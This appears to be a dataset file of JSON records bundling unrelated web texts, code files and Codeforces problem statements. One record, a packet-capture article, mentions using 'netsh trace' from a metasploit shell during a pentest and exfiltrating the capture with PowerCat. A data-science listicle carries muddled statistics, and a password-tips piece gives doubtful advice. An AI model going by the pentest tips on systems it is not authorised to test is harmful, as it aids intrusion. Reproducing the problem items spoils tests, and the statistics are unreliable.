project file formats and all of the later tools will load and convert the earlier projects. Load the Win32Tools.dsw workspace and you’re away.\nNow on to the bug: The callback timer uses\nGetTickCount() to work out when now is and when its timers need to go off. It uses absolute times in milliseconds from the\nGetTickCount() time continuum. It does this because when a timer goes off it needs to work out how long it needs to sleep for it and simply say the next timer is due in\n(absolute time of next timer - now) milliseconds. Unfortunately\nGetTickCount() wraps from a big number to 0 every 49.7 days and the code we have ignores this fact; assuming that ’later’ is always bigger. The code is broken in several places, the breaks are reasonably easy to fix, but proving that the code is broken and writing a test to expose the break is non trivial.\nIn the next posting we’ll write the first test.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1089, "token_count_with_eod": 1090, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "OnePlus One updates coming?........\nHey guys, Just wondering if you're still planning on finishing the Oneplus One port. The gps still doesn't work and apparently its riddled with bugs still without any updates to its git repo in about a year, there's even a 2 month old post about it that has gone unanswered for quite some time. I get that you're busy and have other matters to attend too I just want to know if I should give up hope about ever having a polished finished version of the port to try or use as a daily driver.\nIt was so disheartening how so soon after the OnePlus One's release OnePlus and Cyanogen decided to mess around with the consumers who supported them and ended up pulling the Official long term CyanogenMod support. Especially when you look at the selling points which were the mobile specs, that fancy official CM support and the future option of \"apparently\" being easy to port and experiment with projects just like this one. So when you announced you were porting the OnePlus One it was like a perfect storm of hype, hopefulness, and delusional expectation.\nI can hardly blame you for having other priorities especially with the future 'snaps' work that may be ahead of you. I just would like to know if its a reasonable expectation that we'll have a polished up-to-date version of ubuntu touch to use before its time for us to start looking at upgrading our mobile machines.\nAnyways thank you for the hard work you've put into ubports in general, its important that there is room in the mobile OS market for Open-source development especially in light of 'The internet of things' coming out of the commercial pipeline. I hope you have good luck with you're future work.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 356, "token_count_with_eod": 357, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Do a quick Google search for “password hacking software”, and you will be shocked (and maybe appalled) at how many people sell programs design to crack your passwords and hack your accounts. You’ll also find questions from people around the world asking, “what are the best ways to hack someone’s password?” These are the people you need to protect yourself against.\nHere are the top cybersecurity factors to make a strong password and accessing your accounts:\nThis takes extra work on your part, for sure. But imagine what would happen if a hacker cracked just one of your passwords—a password that you use to access several different accounts. The hacker would now be free to sign in to any of the accounts using that password. Don’t make a hacker’s job any easier!\nIf it’s in the dictionary, it’s a real word, and it doesn’t belong in your passwords. There is an entire method of password hacking called “dictionary attack” that exploits people’s tendency to use dictionary words in their passwords.\nTurn off automatic passwords, auto-login, and password storage on your web browsers (IE, Firefox, Chrome, etc.) Any password stored in this way can be hacked.\nDon’t store any important passwords in the cloud, for the same reason as #7. Online storage is easily hacked into.\nDon’t log in to important accounts on shared computers (your home-family computer is fine, as long as you trust everyone at home). This includes library computers, shared office computers, etc. The same goes for public internet connections, like a public wifi hotspot at a coffee shop, web proxies, free VPN, or Tor.\nEncrypt and store your passwords in a few different locations. That way, if you lose access to your computer or account, you can get your passwords back quickly and easily.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Last Updated: 2015-03-04 14:16:25 UTC\nby Rob VandenBrink (Version: 1)\nHave you ever been on a pentest, or troubleshooting a customer issue, and the \"next step\" was to capture packets on a Windows host? Then you find that installing winpcap or wireshark was simply out of scope or otherwise not allowed on that SQL, Exchange, Oracle or other host? It used to be that this is when we'd recommend installing Microsoft's Netmon packet capture utility, but even then lots of IT managers would hesitate about using the \"install\" word in association with a critical server. Well, as they say in networking (and security as well), there's always another way, and this is that way.\n\"netsh trace\" is your friend. And yes, it does exactly what it sounds like it does.\nType \"netsh trace help\" on any Windows 7 Windows Server 2008 or newer box, and you'll see the following:\nC:\\>netsh trace help\nThe following commands are available:\nCommands in this context:\n? - Displays a list of commands.\nconvert - Converts a trace file to an HTML report.\ncorrelate - Normalizes or filters a trace file to a new output file.\ndiagnose - Start a diagnose session.\ndump - Displays a configuration script.\nhelp - Displays a list of commands.\nshow - List interfaces, providers and tracing state.\nstart - Starts tracing.\nstop - Stops tracing.\nOf course, in most cases, tracing everything on any production box is not advisable - especially if it's your main Exchange, SQL or Oracle server. We'll need to filter the capture, usually to a specific host IP, protocol or similar. You can see more on this here:\nnetsh trace show capturefilterhelp\nOne of the examples in this output shows you how t o e.g. 'netsh trace start capture=yes Ethernet.Type=IPv4 IPv4.Address=18.104.22.168'\nYou could also add Protocol=TCP or UDP and so on..\nFull syntax and notes for netsh trace can be found here: https://technet.microsoft.com/en-us/library/dd878517\nFor instance, the following session shows me capturing an issue with a firewall that I'm working on. Note that you need admin rights to run this, the same as any capture tool. In a pentest you would likely specify an output file that isn't in the users' directory.\nC:\\>netsh trace start capture=yes IPv4.Address=192.168.122.2\nTrace File: C:\\Users\\Administrator\\AppData\\Local\\Temp\\NetTraces\\NetTrace\nMax Size: 250 MB\nWhen you are done capturing data, it's time to stop it:\nC:\\> netsh trace stop\nCorrelating traces ... done\nGenerating data collection ... done\nThe trace file and additional troubleshooting information have been compiled as\nFile location = C:\\Users\\Administrator\\AppData\\Local\\Temp\\NetTraces\\NetTrace.etl\nTracing session was successfully stopped.\nThe cool thing about this is that it doesn't need a terminal session (with a GUI, cursor keys and so on). If all you have is a metasploit shell, netsh trace works great!\nIf this is a capture for standard sysadmin work, you can simply copy the capture over to your workstation and proceed on with analysis. If this is a pentest, a standard copy might still work (remember, we're on a Microsoft server), but if you need netcat type function to exfiltrate your capture, take a look at PowerCat (which is a netcat port in PowerShell).\nNext, open the file (which is in Microsoft's ETL format) in Microsoft's Message Analyzer app - which you can install on your workstation rather than the server we ran the capture on ( http://www.microsoft.com/en-us/download/details.aspx?id=44226 ). Message Analyzer has a surprisingly nice interface and some decent packet parsing, you might be able to wrap up your analysis just in this tool (see below).\nIf you do need another packet analysis tool, it's easy to a File / Save As / Export, and save as a PCAP file that Wireshark, tcpdump, SNORT, ngrep, standard python or perl calls, or any other standard tool can read natively.\nOr you can convert to PCAP using PowerShell (of course you can). A short, simple script to do this might look like:\n$s = New-PefTraceSession -Path “C:\\output\\path\\spec\\OutFile.Cap” -SaveOnStop\n$s | Add-PefMessageProvider -Provider “C:\\input\\path\\spec\\Input.etl”\n$s | Start-PefTraceSession\nThis Powershell cmdlet is not available in Windows 7 - you'll need Windows 8, or Server 2008 or newer\n(This script was found at http://blogs.technet.com/b/yongrhee/archive/2013/08/16/so-you-want-to-use-wireshark-to-read-the-netsh-trace-output-etl.aspx )\nIf 'netsh trace' has solved an interesting problem for you, or was the tool that got you some interesting data in a pentest, please, use our comment form to let us know how you used it (within your NDA of course!)", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1173, "token_count_with_eod": 1174, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Game studio \"DbZ Games\" wants to introduce another map in their popular game \"Valiant\". This time, the map named \"Panvel\" will be based on the city of Mumbai.\n\nMumbai can be represented as $$$n \\times m$$$ cellular grid. Each cell $$$(i, j)$$$ ($$$1 \\le i \\le n$$$; $$$1 \\le j \\le m$$$) of the grid is occupied by a cuboid building of height $$$a_{i,j}$$$.\n\nThis time, DbZ Games want to make a map that has perfect vertical gameplay. That's why they want to choose an $$$l \\times l$$$ square inside Mumbai, such that each building inside the square has a height of at least $$$l$$$.\n\nCan you help DbZ Games find such a square of the maximum possible size $$$l$$$?", "source": "cpt_codeforces", "language": "en", "token_count": 178, "token_count_with_eod": 179, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Purely strength-wise, what is the difference between taking a deload week (where work is done in the range of around 40% of 1 rep max), compared to taking a complete break from weightlifting for the ...\nI'm aware of what the report says but was advised to post the question. I am also interested in the responses more so that I can figure out how to proceed with my own gains. One of the main draws I ...\nWhat determines recovery speed, progressiveness, and patternized approaches to falling within the compounds of a structured recovery program? [closed]\nAside from my poor genetics, high body fat, poor fitness, Social Anxiety, bad sleeping patterns, and poverty I can not determine the correct approach to measuring recovery between workouts. Albeit I ...\nI am a 21 year old male, currently on my own program that can be found here. It is quite intense and I was wondering what the optimal time to train for strength would be? Please Note: I lift ...\nHow can I best modify starting strength to fit with a team practice schedule and cardiovascular conditioning?\nI have two goals: improve speed and vertical, and improve at my sport (ultimate). It seems from my relatively untrained state, the biggest gains in speed and vertical will come from strength ...\nI'd like to do two strength workouts in the same day, one in the morning and one in the afternoon. With this goal in mind, what strategies can I employ throughout the day so that I'm as fresh as ...\nWhenever I go on vacation, the dilemma in my head is, should I try to work out there? Or just take a break from everything and resume when I get back. The worry is that a break would cause some ...", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "RSD Lite on Bootlooping Phone I cannot Access the Clockwork Mod Recovery on my phone. I can get to recovery, but phone will not boot. It just stays on the M Logo. I'm trying to SBF the phone, but my computer doesn't detect the phone since it never actually turns on. I need a guide somewhere that can help me out in this situation. All guides for RSD Lite want me to set my phone into a particular mode, but I cannot get the phone to boot, so this is useless information at the moment. Am I hosed?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 118, "token_count_with_eod": 119, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "A sequence of positive integers is called great for a positive integer $$$x$$$, if we can split it into pairs in such a way that in each pair the first number multiplied by $$$x$$$ is equal to the second number. More formally, a sequence $$$a$$$ of size $$$n$$$ is great for a positive integer $$$x$$$, if $$$n$$$ is even and there exists a permutation $$$p$$$ of size $$$n$$$, such that for each $$$i$$$ ($$$1 \\le i \\le \\frac{n}{2}$$$) $$$a_{p_{2i-1}} \\cdot x = a_{p_{2i}}$$$.\n\nSam has a sequence $$$a$$$ and a positive integer $$$x$$$. Help him to make the sequence great: find the minimum possible number of positive integers that should be added to the sequence $$$a$$$ to make it great for the number $$$x$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 188, "token_count_with_eod": 189, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "NPCs are scripted where the main elements are perceptions that represents events in the soundings of the NPC. The NPC has a set of reactions that decide if the NPC will react to a perception. The reaction that start a behavior that is a set of operations the NPC will perform. Some NPCs work together in tribes, see Tribe Scripting for details.\n|Example 1:||Example 2:|", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 81, "token_count_with_eod": 82, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/********************************************************************************\n * Copyright (c) 2020 AVL List GmbH and others\n * \n * This program and the accompanying materials are made available under the\n * terms of the Apache Software License 2.0 which is available at\n * https://www.apache.org/licenses/LICENSE-2.0.\n * \n * SPDX-License-Identifier: Apache-2.0\n ********************************************************************************/\n\n#include \"core/Dependency.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif /* __cplusplus */\n\ntypedef struct Dependencies {\n    size_t numIn;\n    size_t numOut;\n    Dependency * deps;\n} Dependencies;\n\nstruct Dependencies * DependenciesCreate(size_t numIn, size_t numOut) {\n    Dependencies * A = NULL;\n    size_t numElements = numIn * numOut;\n\n    A = (Dependencies *) mcx_calloc(1, sizeof(Dependencies));\n    if (NULL == A) {\n        mcx_log(LOG_ERROR, \"Dependency: Memory allocation for dependencies failed\");\n        return NULL;\n    }\n\n    A->numIn = numIn;\n    A->numOut = numOut;\n\n    A->deps = (Dependency *) mcx_calloc(numElements, sizeof(Dependency));\n    if (NULL == A->deps) {\n        mcx_log(LOG_ERROR, \"Dependency: Memory allocation for dependency matrix failed\");\n        mcx_free(A);\n        return NULL;\n    }\n\n    memset(A->deps, DEP_INDEPENDENT, sizeof(Dependency) * numElements); // works only for DEP_INDEPENDENT because it is 0\n\n    return A;\n}\n\nvoid DependenciesDestroy(Dependencies * A) {\n    if (NULL == A) {\n        return;\n    }\n\n    if (A->deps) {\n        mcx_free(A->deps);\n    }\n\n    mcx_free(A);\n}\n\nMcxStatus SetDependency(Dependencies * A, size_t inIndex, size_t outIndex, Dependency dep) {\n    size_t index = 0;\n    if (NULL == A) {\n        mcx_log(LOG_ERROR, \"Dependency: Set dependency: Invalid structure\");\n        return RETURN_ERROR;\n    }\n    if (inIndex >= A->numIn) {\n        mcx_log(LOG_ERROR, \"Dependency: Set dependency: In index %d out of bounds [0, %d]\", inIndex, A->numIn - 1);\n        return RETURN_ERROR;\n    }\n    if (outIndex >= A->numOut) {\n        mcx_log(LOG_ERROR, \"Dependency: Set dependency: Out index %d out of bounds [0, %d]\", outIndex, A->numOut - 1);\n        return RETURN_ERROR;\n    }\n\n    index = (outIndex * A->numIn) + inIndex;\n\n    A->deps[index] = dep;\n\n    return RETURN_OK;\n}\n\nMcxStatus GetDependency(Dependencies * A, size_t inIndex, size_t outIndex, Dependency *dep) {\n    size_t index = 0;\n    if (NULL == A) {\n        mcx_log(LOG_ERROR, \"Dependency: Get dependency: Invalid structure\");\n        return RETURN_ERROR;\n    }\n    if (0 == A->numIn) {\n        mcx_log(LOG_ERROR, \"Dependency: Get dependency: Structure has 0 \\\"In\\\"s\");\n        return RETURN_ERROR;\n    }\n    if (0 == A->numOut) {\n        *dep = DEP_INDEPENDENT;\n        return RETURN_OK;\n    }\n    if (inIndex >= A->numIn) {\n        mcx_log(LOG_ERROR, \"Dependency: Get dependency: In index %d out of bounds [0, %d]\", inIndex, A->numIn - 1);\n        return RETURN_ERROR;\n    }\n    if (outIndex >= A->numOut) {\n        mcx_log(LOG_ERROR, \"Dependency: Get dependency: Out index %d out of bounds [0, %d]\", outIndex, A->numOut - 1);\n        return RETURN_ERROR;\n    }\n\n    index = (outIndex * A->numIn) + inIndex;\n\n    *dep = A->deps[index];\n\n    return RETURN_OK;\n}\n\n\nDependency * GetDependencyMatrix(struct Dependencies * A) {\n    return A->deps;\n}\n\n// Only returns SIZE_T_ERROR if A was NULL\nsize_t GetDependencyNumIn(struct Dependencies * A) {\n    if (!A) {\n        mcx_log(LOG_ERROR, \"Dependency: Get number of inputs: Invalid structure\");\n        return SIZE_T_ERROR;\n    }\n\n    return A->numIn;\n}\n\n// Only returns SIZE_T_ERROR if A was NULL\nsize_t GetDependencyNumOut(struct Dependencies * A) {\n    if (!A) {\n        mcx_log(LOG_ERROR, \"Dependency: Get number of outputs: Invalid structure\");\n        return SIZE_T_ERROR;\n    }\n\n    return A->numOut;\n}\n\n#ifdef __cplusplus\n} /* closing brace for extern \"C\" */\n#endif /* __cplusplus */", "source": "cpt_stack_code", "language": "code", "token_count": 1111, "token_count_with_eod": 1112, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "What ‘Your SVG is too complex’ means\nYou’ve imported an SVG that has more than 120 elements and groups in it.\nThe app might work seamlessly even if the SVG is too complex, but in case you are finding it difficult and laggy to work with, you should try to simplify the file. You can read more about how to prepare your file here: Illustrator or Sketch.\nStill got questions? Send us an email to email@example.com and we will get back to you as soon as we can.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The card you are talking about is nearly a decade old and from well before ATI was bought by AMD back in '06... doesn't make sense to hold a grudge that long imo especially if it means avoiding a product that better fits your needs.\nOh no I am not holding a grudge, just wary. Every ATI card I had in the old days had really bad drivers (Rage Pro, 9600 Pro) etc. I need a very stable system. I cannot have BSOD in the middle of working. I need to be sure before I invest in 3 monitors and a 6970 card. That is at least $800.\nEyefinity is a good tech. If it works then I will be a happy camper.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given an array $$$a_1, a_2, \\ldots, a_n$$$ consisting of integers such that $$$a_1 + a_2 + \\ldots + a_n = 0$$$.\n\nYou have to rearrange the elements of the array $$$a$$$ so that the following condition is satisfied:\n\n$$$$$$\\max\\limits_{1 \\le l \\le r \\le n} \\lvert a_l + a_{l+1} + \\ldots + a_r \\rvert < \\max(a_1, a_2, \\ldots, a_n) - \\min(a_1, a_2, \\ldots, a_n),$$$$$$ where $$$|x|$$$ denotes the absolute value of $$$x$$$.\n\nMore formally, determine if there exists a permutation $$$p_1, p_2, \\ldots, p_n$$$ that for the array $$$a_{p_1}, a_{p_2}, \\ldots, a_{p_n}$$$, the condition above is satisfied, and find the corresponding array.\n\nRecall that the array $$$p_1, p_2, \\ldots, p_n$$$ is called a permutation if for each integer $$$x$$$ from $$$1$$$ to $$$n$$$ there is exactly one $$$i$$$ from $$$1$$$ to $$$n$$$ such that $$$p_i = x$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 293, "token_count_with_eod": 294, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "We have decided to phase out the Mixed Reality Forums over the next few months in favor of other ways to connect with us.\nThe first way we want to connect with you is our mixed reality developer program, which you can sign up for at https://aka.ms/IWantMR.\nThe plan between now and the beginning of May is to clean up old, unanswered questions that are no longer relevant. The forums will remain open and usable.\nOn May 1st we will be locking the forums to new posts and replies. They will remain available for another three months for the purposes of searching them, and then they will be closed altogether on August 1st.\nSo, where does that leave our awesome community to ask questions? Well, there are a few places we want to engage with you. For technical questions, please use Stack Overflow, and tag your questions using either hololens or windows-mixed-reality. If you want to join in discussions, please do so in the HoloDevelopers Slack, which you can join by going to https://aka.ms/holodevelopers. And always feel free to hit us up on Twitter @MxdRealityDev.\nCan not show webcam from openCV on Hololens.\nHello, I'm the beginner of programming and openCV. I have to build my own library based on OpenCV and use it on Hololens.\nI have a very short time to work on it. So I have started with many samples from many websites.\nI can build the library and use it in Unity from the sample but I cannot show it on hololens\nNow, I'm trying to show webcam like this sample on the hololens. https://youtube.com/watch?v=vUviuj8KcQM&t=781s\nIt showed on unity but It didn't show on hololens. Just the cube showed on the hololens.\nI think I have to write the script to show this webcam texture from openCV on Hololens but I have no idea. It's very complicated for me.\nI would like to ask how to show this webcam texture from openCV on Hololens?\nI would like to ask your suggestion where should I start to learn OpenCV, C++, C# and Unity + hololens in short time.\nSorry for my poor English and programming.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 488, "token_count_with_eod": 489, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "// --------------------------------------------------------------------------\n//                   OpenMS -- Open-Source Mass Spectrometry\n// --------------------------------------------------------------------------\n// Copyright The OpenMS Team -- Eberhard Karls University Tuebingen,\n// ETH Zurich, and Freie Universitaet Berlin 2002-2021.\n//\n// This software is released under a three-clause BSD license:\n//  * Redistributions of source code must retain the above copyright\n//    notice, this list of conditions and the following disclaimer.\n//  * Redistributions in binary form must reproduce the above copyright\n//    notice, this list of conditions and the following disclaimer in the\n//    documentation and/or other materials provided with the distribution.\n//  * Neither the name of any author or any participating institution\n//    may be used to endorse or promote products derived from this software\n//    without specific prior written permission.\n// For a full list of authors, refer to the file AUTHORS.\n// --------------------------------------------------------------------------\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n// ARE DISCLAIMED. IN NO EVENT SHALL ANY OF THE AUTHORS OR THE CONTRIBUTING\n// INSTITUTIONS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n// EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n// PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;\n// OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n// WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR\n// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF\n// ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n//\n// --------------------------------------------------------------------------\n// $Maintainer: Hannes Roest $\n// $Authors: Hannes Roest $\n// --------------------------------------------------------------------------\n\n#pragma once\n\n#include <OpenMS/OPENSWATHALGO/DATAACCESS/SwathMap.h>\n#include <OpenMS/CONCEPT/ProgressLogger.h>\n#include <OpenMS/DATASTRUCTURES/String.h>\n#include <OpenMS/DATASTRUCTURES/ListUtils.h>\n#include <OpenMS/KERNEL/StandardTypes.h>\n\n#include <vector>\n#include <boost/shared_ptr.hpp>\n\nnamespace OpenMS\n{\n  class ExperimentalSettings;\n  namespace Interfaces\n  {\n    class IMSDataConsumer;\n  }\n  \n\n  /**\n   * @brief File adapter for Swath files.\n   *\n   * This class can load SWATH files in different storage versions. The most\n   * convenient file is a single MzML file which contains one experiment.\n   * However, also the loading of a list of files is supported (loadSplit)\n   * where it is assumed that each individual file only contains scans from one\n   * precursor isolation window (one SWATH). Finally, experimental support for\n   * mzXML is available but needs to be selected with a specific compile flag\n   * (this is not for everyday use).\n   *\n   */\n  class OPENMS_DLLAPI SwathFile :\n    public ProgressLogger\n  {\npublic:\n\n    /// Loads a Swath run from a list of split mzML files\n    std::vector<OpenSwath::SwathMap> loadSplit(StringList file_list,\n                                               String tmp,\n                                               boost::shared_ptr<ExperimentalSettings>& exp_meta, \n                                               String readoptions = \"normal\");\n\n    /**\n      @brief Loads a Swath run from a single mzML file\n\n      Using the @p plugin_consumer, you can provide a custom consumer which will be chained\n      into the process of loading the data and making it available (depending on @p readoptions).\n      This is useful if you want to modify the data a priori or extract some other information using\n      MSDataTransformingConsumer (for example). Make sure it leaves the data intact, such that the \n      returned SwathMaps are actually useful.\n\n      @param [IN] file Input filename\n      @param [IN] tmp Temporary directory (for cached data)\n      @param [OUT] exp_meta Experimental metadata from mzML file\n      @param [IN] readoptions How are spectra accessed after reading - tradeoff between memory usage and time (disk caching)\n      @param [IN] plugin_consumer An intermediate custom consumer\n      @return Swath maps for MS2 and MS1 (unless readoptions == split, which returns no data)\n    */\n    std::vector<OpenSwath::SwathMap> loadMzML(const String& file, \n                                              const String& tmp,\n                                              boost::shared_ptr<ExperimentalSettings>& exp_meta,\n                                              const String& readoptions = \"normal\",\n                                              Interfaces::IMSDataConsumer* plugin_consumer = nullptr);\n\n    /// Loads a Swath run from a single mzXML file\n    std::vector<OpenSwath::SwathMap> loadMzXML(String file, \n                                               String tmp,\n                                               boost::shared_ptr<ExperimentalSettings>& exp_meta,\n                                               String readoptions = \"normal\");\n\n    /// Loads a Swath run from a single sqMass file\n    std::vector<OpenSwath::SwathMap> loadSqMass(String file, boost::shared_ptr<ExperimentalSettings>& /* exp_meta */);\n\nprotected:\n\n    /// Cache a file to disk\n    OpenSwath::SpectrumAccessPtr doCacheFile_(const String& in, const String& tmp, const String& tmp_fname,\n                                              boost::shared_ptr<PeakMap > experiment_metadata);\n\n    /// Only read the meta data from a file and use it to populate exp_meta\n    boost::shared_ptr< PeakMap > populateMetaData_(const String& file);\n\n    /// Counts the number of scans in a full Swath file (e.g. concatenated non-split file)\n    void countScansInSwath_(const std::vector<MSSpectrum>& exp,\n                            std::vector<int>& swath_counter, int& nr_ms1_spectra, \n                            std::vector<OpenSwath::SwathMap>& known_window_boundaries);\n\n  };\n}", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "The maven plugin\nThis plugin is useful for building parts that use maven.\nThe maven build system is commonly used to build Java projects. The plugin requires a pom.xml in the root of the source tree.\n- maven-options: (list of strings) flags to pass to the build using the maven semantics for parameters.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 70, "token_count_with_eod": 71, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Academic, Research & Innovation Sector Group\nThe academic research community represents an important part of the Biometrics Institute membership. This committee has been set up to create even closer engagement between the research community and the broader biometrics industry. It offers a fantastic opportunity to create greater visibility and opinions on current research. The aim of the group is to become an influential channel for relevant developments from the research community to be communicated to industry, government and the public.\n- It aims to foster leading-edge developments in the Biometrics area related to both applied and fundamental research into human identification.\n- It reviews the academic paper submissions for Biometrics Institute conferences.\nIt facilitates collaborative research, development, evaluation work – with an emphasis on application/business scenarios\nGroup members will send their contributions for a Recommended Reading list that will be shared with the broader membership.\nTo find out more or to join the group, please email email@example.com.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 185, "token_count_with_eod": 186, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "//\n//  FitParser.h\n//  Fit\n//\n//  Created by Jelle Vandebeeck on 13/01/2018.\n//  Copyright © 2018 Jelle Vandebeeck. All rights reserved.\n//\n\n#import <Foundation/Foundation.h>\n\n#include \"fit_date_time.hpp\"\n\n@interface FitParser : NSObject\n\n+ (NSNumber *)parseInteger:(FIT_UINT8)value isValid:(FIT_BOOL)isValid;\n+ (NSNumber *)parseFloat:(FIT_FLOAT32)value isValid:(FIT_BOOL)isValid;\n+ (NSDate *)parseTimestamp:(FIT_DATE_TIME)value isValid:(FIT_BOOL)isValid;\n\n@end", "source": "cpt_stack_code", "language": "code", "token_count": 140, "token_count_with_eod": 141, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Sports team calendars have been a long-time feature of Google Calendar. The ability to sync those calendars to mobile, however, has been absent equally as long. Until now, that is.\nIf you sync any sports calendars with your GCal, you now have the option to also sync those up on mobile. They should show up under the \"calendars to display\" menu - if not, make sure to refresh your calendars and check again. You may have to jump into the \"calendars to sync\" sub-menu and enable it there first. Kind of unintuitive and superfluous, I know.\nThey're a bit easier to find on tablets, however - just jump right into Settings and select the appropriate account. All your available calendars should show up there; if not, a quick refresh should do the trick.\nThis also syncs up the score afterwards, so if you happen to miss the game, you'll still be able to catch the final.\nI'm pretty happy to see this feature show up on mobile, especially with the NBA regular season starting up later this month. Now it'll be even easier to watch the Heat take the trophy two years in a row.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 240, "token_count_with_eod": 241, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "In this data-driven era, a chunk of data is producing from multifarious devices. A plethora of statistics has claimed that 2.5 million terabytes of data are generated every single day from 6 billion devices. By 2020, more devices will be connected and it is estimated that nearly 30 million terabytes of data will generate every day.\nThe aspirants who want to make a scintillating career in the field of data science must be astonished to know this fact. So, a data scientist is a very demanding profession and the USA leads in the market of data science. India has also a potential market for data science and it is expected that by 2025, the Big Data analytics sector in India will grow eight fold.\nHere, we are going to describe some astounding facts about data science that you never know.\nShould have a statistical knowledge: If you want to learn data science, then you must have a comprehensive knowledge of statistics. Matrix calculations, derivatives, determinants, Set Theory, functions, vectors, linear transformations, etc. are very important if you want to learn data science. You should have a clear concept and theory behind all the statistical methods and programming.\nLearn programming languages: Apart from learning statistics for data science, you also need to learn different programming languages if you want to shine as a data scientist. In the field of data science, R is one of the most popular programming languages. If you have an inadequate knowledge of R, then you can’t establish yourself as an eminent and dexterous data scientist. Apart from R, you also know Python which is another promising language in data science. These programming languages are very important along with statistics for data science.\nSalary of a data scientist: Data science salary is much higher than any other IT professionals. Moreover, you will get numerous job opportunities if you are in the field of data science. As per indeed.com, the average salary of a data mining engineer is $152,173 per year. According to Glassdoor, the average salary of a data analyst is $ 60,000 per year. The average annual salary of a data architect in the USA is nearly $129,194. Data science salary is quite lucrative and that’s why many young IT aspirants are choosing data science as their career option.\nBooks play an important role in learning data science: If you want to learn data science online, you will be blessed with a chunk of resources like online study material, podcasts, videos, etc. which will give you a comprehensive knowledge about data science. You can even join some communities and can take help from the experts or mentors who have a proficient knowledge in this field. Apart from learning data science online, you can take help from the books specially if you want to clear the basic knowledge of data science.\nBe curious: As a data scientist, you should be very curious and always try to explore different things. Read books, articles, journals, magazines, etc. to enhance your knowledge. In data science, so many things are inventing day by day. That’s why always be curious and stay updated.\nShould have strong communication skills: As a data scientist, you need to interact with other departs to solve a problem. So, your communication skill is also important along with your statistical and programming knowledge. If you can’t communicate properly, then you won’t be able to understand the problem and hence, can’t deliver the right solution.\nIoT is closely associated with data science: IoT is the latest entrant in the field of technology that takes data science to a significant level. IoT is all about data generation while data science generally analyses those data. If you want to become a data scientist, you also need to upgrade your skills so that you can take part in this next big technology revolution.\nStart from today: If you have an aim to become an eminent data scientist, then without wasting time prepare yourself from today.\nNever give up: Data science is a budding field and thus, you need to learn a lot. So, don’t give up and always stay motivated.\nAssess Skills: Make use of data science test to assess your proficiency in R.\nThese are some facts that you should know about data science.\nMORE MIND-BLOWING Truth about DATA SCIENCE\nAs stated by the U.S. Bureau of Labor Statistics, the amount of jobs for Statistics Laboratory has increased by 650 percent since 2012, and roughly 11.5 million jobs will likely be generated by 2026.\nForbes stated the function of a Data Scientist has increased by over 650 percent because of 2012. Still, only 35,000 individuals have abilities in Data Science in the united states, while hundreds of organizations are hiring for this particular function.\nBy IBM, an increment of 3,64,000 into 2,720,000 openings is going to be created in 2020. The need is only going to grow farther to astounding 7,00,000 openings.\nGlassdoor explained an Information Scientist is your number one task on its own site. It’sIt’s analyzed the requirement for Data Laboratory increases by 28 percent in 2020 alone.\nThe occupation of Data Scientist positions among leading emerging projects on LinkedIn.\nGreater than 0.5percent of data we produce is analyzed and employed.\nA 10 percent increase in data access by Data Scientist will lead to over $65 million extra net earnings for the normal Fortune 1000 Businesses.\nAn array of data has promised that 2.5 million terabytes of information are created each evening from 6 billion apparatuses. By 2020, more devices will be linked. It’s projected that almost 30 million terabytes of information will create every piece of information.\nThe U.S. contributes to the Data Science marketplace, necessitating 190,000 Data Laboratory by the next year. India also combines this elite screenplay, requiring Information Scientist across a wide selection of businesses.\nBy 2025, the Data Science Analytics business in India is projected to increase eightfold, reaching 16 billion.\nStatistics Scientist earns over the typical I.T. workers.\nEach moment 60,000 research queries are conducted by Google and 1.2 trillion hunts each year.\n70 percent of information is made 